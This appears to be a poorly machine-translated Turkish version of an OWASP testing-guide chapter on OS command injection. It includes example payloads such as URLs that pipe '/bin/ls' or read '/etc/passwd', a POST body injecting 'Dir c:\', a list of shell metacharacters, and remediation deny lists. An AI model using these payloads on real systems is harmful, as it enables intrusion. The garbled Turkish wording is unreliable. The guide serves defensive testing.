Testing for Command Injection (Komut Enjeksiyonu Testi)

Summary (Özet)

Bu makale, işletim sistemi komut enjeksiyonu için bir uygulamanın nasıl test edileceğini açıklar. Test cihazı, uygulamaya bir HTTP isteği yoluyla bir işletim sistemi komutu enjekte etmeye çalışacaktır.

OS komut enjeksiyonu, bir web sunucusunda işletim sistemi komutlarını yürütmek için bir web arayüzü aracılığıyla kullanılan bir tekniktir. Kullanıcı, işletim sistemi komutlarını uygulamak için bir web arayüzü aracılığıyla işletim sistemi komutları sağlar. Düzgün bir şekilde sterilize edilmemiş herhangi bir web arayüzü bu istismara tabidir. OS komutlarını yürütme yeteneği ile kullanıcı kötü amaçlı programlar yükleyebilir veya hatta şifreler alabilir. Uygulamaların tasarımı ve geliştirilmesi sırasında güvenlik vurgulandığında işletim sistemi komut enjeksiyonu önlenebilir.

Test Objectives (Test Hedefleri)

- Komuta enjeksiyon noktalarını belirleyin ve değerlendirin.

How to Test (Nasıl Test Edilir)

Bir web uygulamasında bir dosyayı görüntülerken, dosya adı genellikle URL'de gösterilir. Perl, bir süreçten gelen borulama verilerini açık bir ifadeye aktarır. Kullanıcı basitçe Boru sembolünü ekleyebilir `|` Dosya adının sonuna doğru.

Değişmeden önce URL örnek URL:

`http://sensitive/cgi-bin/userData.pl?doc=user1.txt`

Örnek URL Değiştirildi:

`http://sensitive/cgi-bin/userData.pl?doc=/bin/ls|`

Bu komutu uygulayacak `/bin/ls` . .

Bir URL'nin sonuna kadar bir yarı kolon eklemek. PHP sayfası takip eden bir işletim sistemi komutu, komutu uygulayacaktır. `%3B` URL kodlanır ve yarı kolona kod çözür

Örnek:

`http://sensitive/something.php?dir=%3Bcat%20/etc/passwd`

Example (Örnek)

İnternetten gezinebileceğiniz bir dizi belge içeren bir uygulama durumunu düşünün. Kişisel bir vekil (ZAP veya Burp Suite gibi) ateşlerseniz, aşağıdaki gibi bir POST HTTP elde edebilirsiniz (`http://www.example.com/public/doc`) ::

```
POST /public/doc HTTP/1.1
Host: www.example.com
[...]
Referer: http://127.0.0.1/WebGoat/attack?Screen=20
Cookie: JSESSIONID=295500AD2AAEEBEDC9DB86E34F24A0A5
Authorization: Basic T2Vbc1Q9Z3V2Tc3e=
Content-Type: application/x-www-form-urlencoded
Content-length: 33

Doc=Doc1.pdf
```

Bu posta talebinde, başvurunun kamuya açık belgeleri nasıl aldığını fark ediyoruz. Şimdi POST HTTP'ye enjekte etmek için bir işletim sistemi komutu eklemenin mümkün olup olmadığını test edebiliriz. Aşağıdakileri deneyin (`http://www.example.com/public/doc`) ::

```
POST /public/doc HTTP/1.1
Host: www.example.com
[...]
Referer: http://127.0.0.1/WebGoat/attack?Screen=20
Cookie: JSESSIONID=295500AD2AAEEBEDC9DB86E34F24A0A5
Authorization: Basic T2Vbc1Q9Z3V2Tc3e=
Content-Type: application/x-www-form-urlencoded
Content-length: 33

Doc=Doc1.pdf+|+Dir c:\
```

Başvuru isteği doğrulamazsa aşağıdaki sonucu elde edebiliriz:

```
    Exec Results for 'cmd.exe /c type "C:\httpd\public\doc\"Doc=Doc1.pdf+|+Di
r c:\'
    Output...
    Il volume nell'unità C non ha etichetta.
    Numero di serie Del volume: 8E3F-4B61
    Directory of c:\
     18/10/2006 00:27 2,675 Dir_Prog.txt
     18/10/2006 00:28 3,887 Dir_ProgFile.txt
     16/11/2006 10:43
        Doc
        11/11/2006 17:25
           Documents and Settings
           25/10/2006 03:11
              I386
              14/11/2006 18:51
             h4ck3r
             30/09/2005 21:40 25,934
            OWASP1.JPG
            03/11/2006 18:29
               Prog
               18/11/2006 11:20
                  Program Files
                  16/11/2006 21:12
                     Software
                     24/10/2006 18:25
                        Setup
                        24/10/2006 23:37
                           Technologies
                           18/11/2006 11:14
                           3 File 32,496 byte
                           13 Directory 6,921,269,248 byte disponibili
                           Return code: 0
```

Bu durumda, bir işletim sistemi enjeksiyon saldırısı gerçekleştirdik.

Special Characters for Comand Injection (Komand Enjeksiyonu için Özel Karakterler)

Aşağıdaki özel karakter komut enjeksiyonu için kullanılabilir. `|;&$><'!`

- `cmd1|cmd2`: Kullanımlar `|` İdam edilecek komuta 2'yi hava durumu komutası 1 infazı başarılı ya da yapmayacaktır.
- `cmd1;cmd2`: Kullanımlar `;` İdam edilecek komuta 2'yi hava durumu komutası 1 infazı başarılı ya da yapmayacaktır.
- `cmd1||cmd2` Komut 2 ancak komuta 1 infazı başarısız olursa idam edilecektir.
- `cmd1&&cmd2` Komut 2 sadece komuta 1 infazı başarırsa idam edilecektir.
- `$(cmd)`: Mesela, `echo $(whoami)` ya da `$(touch test.sh; echo 'ls' > test.sh)`
- `cmd`: Belirli bir komutu uygulamak için kullanılır. Örneğin, `whoami`
- `>(cmd)`: : `>(ls)`
- `<(cmd)`: : `<(ls)`

Code Review Dangerous API (Kod İnceleme Tehlikeli API)

Komuta enjeksiyon risklerini getirebileceği için API'yi takip etmenin kullanımlarından haberdar olun.

Java

- `Runtime.exec()`

C / C ++

- `system`
- `exec`
- `ShellExecute`

Python

- `exec`
- `eval`
- `os.system`

- `os.popen`
- `subprocess.popen`
- `subprocess.call`

PHP

- `system`
- `shell_exec`
- `exec`
- `proc_open`
- `eval`

Remediation (Düzeltme)

Sanitization (Sanitasyon)

URL ve biçim verilerinin geçersiz karakterler için sterilize edilmesi gerekir. Karakterlerin inkar listesi bir seçenektir, ancak karşı koymak için tüm karakterleri düşünmek zor olabilir. Ayrıca henüz keşfedilmemiş bazıları da olabilir. Kullanıcı girişini doğrulamak için yalnızca izin verilen karakterler veya komut listesi içeren bir izin listesi oluşturulmalıdır. Kaçırılan karakterlerin yanı sıra keşfedilmemiş tehditler ise bu liste tarafından ortadan kaldırılmalıdır.

Komuta enjeksiyonu için dahil edilecek genel inkar listesi olabilir `|;&$><'\!>>#`

Pencereler için özel karakterlerden kaçmak veya filtreleyin,

`()<>&*'|=?;[]^~!."%@/\:+,`` Linux için özel karakterlerden kaçmak veya filtrelemek, `{}()><&*'|=?;[]$–#~!."%/\:+,`

Permissions (İzinler)

Web uygulaması ve bileşenleri, işletim sistemi komuta yürütmesine izin vermeyen katı izinler altında çalışmalıdır. Gri kutu test açısından test etmek için tüm bu bilgileri doğrulamaya çalışın.

Tools (Araçlar)

- OWASP WebGoat
- Commix

References (Referanslar)

- Penetration Testing for Web Applications (Part Two)
- OS Commanding
- CWE-78: Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)
- ENV33-C. Do not call system()